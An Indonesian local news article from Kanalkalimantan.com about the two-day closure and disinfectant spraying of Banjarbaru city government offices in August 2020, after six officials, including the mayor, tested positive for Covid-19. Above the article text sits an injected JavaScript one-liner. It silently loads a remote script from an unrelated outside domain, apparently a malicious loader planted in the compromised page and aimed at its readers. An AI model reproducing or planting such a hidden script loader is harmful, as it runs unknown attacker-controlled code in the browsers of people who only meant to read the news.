(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Sterilisasi dengan penyemprotan cairan disinfektan dilakukan di seluruh perkantoran Pemerintah Kota (Pemko) Banjarbaru berlangsung Senin (3/8/2020) pagi.
Dari pantauan Kanalkalimantan.com, baik itu perkantoran dinas, Unit Pelaksana Teknis (UPT), kantor camat dan kelurahan, serta lembaga pemerintahan di kota Banjarbaru, seluruhnya dikosongkan selama pelaksaanaansterilisasi ini. Termasuk, juga menutup layanan ke masyarakat sehari penuh.
Walaupun hampir seluruh pegawai ASN -aparatur sipil negara- dirumahkan, namun masing-masing kantor tetap mewajibkan beberapa pegawainya tetap berjaga dan bertugas membuka ruangan. Seperti halnya di kantor Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kota Banjarbaru.
“Ada 3 sampai 4 pegawai yang kita tugaskan untuk stand by. Ini kira masih menunggu dari pihak BPBD datang, karena memang jadwal penyemprotan hari ini padat. Jadi harus mengantre juga,” ujar Kepala Dinas PUPR Banjarbaru, Jaya Kresna.
Kepala Badan Penanggulangan Bencana Daerah (BPBD) Kota Banjarbaru Zaini Syahranie mengatakan, kegiatan penyemprotan disinfektan ini juga turut melibatkan personel Brimob Polda Kalsel dan TNI. Sedikitnya, 2 unit amarda tangki air dikerahkan untuk melakukan penyemprotan di lingkungan perkantoran.
“Untuk di lingkungan kantor, penyemprotan menggunakan mobil armada. Sedangkan, untuk di dalam ruangan, penyemprotan dilakukan langsung oleh personil yang kita terjunkan,” katanya.
Pada kegiatan hari ini, cairan disinfektan yang digunakan mencapai ribuan liter. Sterilisasi akan kembali dilakukan Selasa (4/8/2020) besok dan pada Rabu (5/8/2020) lusa, perkantoran mulai dibuka kembali.
Ditutupnya seluruh perkantoran di Banjarbaru selama dua hari, menyusul sejumlah pejabat daerah Pemko Banjarbary telah dinyatakan terpapar Covid-19. Saat ini, telah ada 6 pejabat Pemko Banjarbaru yang telah dinyatakan positif teinfeksi Covid-19. Mulai dari Wali Kota Nadjmi Adhani dan istri. Kemudian, Sekretaris Daerah Said Abdullah, Kepala Badan Pengelola Keuangan dan Aset Daerah (BPKAD) Jainudin, Kepala Bappeda Kanafi, Kepala BKPP Sri Lailana serta Kepala Bagian Hukum Setdakot Gugus S.
Mereka kini menjalani karantina di gedung LPMP dan ada pula yang isolasi khusus mandiri di rumah masing-masing, dengan di bawah pengawasan langsung oleh pihak Dinkes. Terkhusus untuk Wali Kota Banjarbaru besera istri, menjalani perawatan di RSUD Ulin Banjarmasin dan sedang menuju fase pemulihan. (kanalkalimantan.com/rico)
Reporter: rico
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
This website uses cookies.